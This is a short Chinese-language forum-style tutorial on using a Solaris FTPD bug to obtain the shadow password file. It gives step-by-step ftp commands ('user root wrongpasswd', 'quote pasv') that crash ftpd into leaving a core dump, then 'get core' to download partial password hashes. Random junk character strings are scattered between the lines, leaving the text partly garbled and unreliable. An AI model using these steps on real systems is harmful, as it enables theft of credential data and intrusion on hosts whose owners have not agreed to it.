如何用FIP获取shadow口令文件

该方法利用了Solaris 操作系统中FTPD的一个BUG，使得用户可以获得该机的口令文件。具体过程如下：

& {- D+ q4 U" W1.通过 ftp 正常登录到目的主机上
7 k8 b8 S: p4 E5 w
2.输入如下命令序列：

" ?# P* D* L2 e: Q. u( r( h$ @ftp> user root wrongpasswd

ftp> quote pasv
7 b9 ], F+ U5 A+ d
3.这时，ftpd会报错退出，同时会在当前目录下生成一个core，口令文件就包含在这个core中。
5 Q) l9 k2 t; v7 U
4.再次进入FTP >get core

' G. h! q9 c/ r$ r- V) s  x补充：虽然在core只有一部分shadow，但是对于系统来说已经是致命的打击了
2 T7 \1 g" I, U- _+ N
$ c- C2 u( Z% T8 W3 m. T+ l. O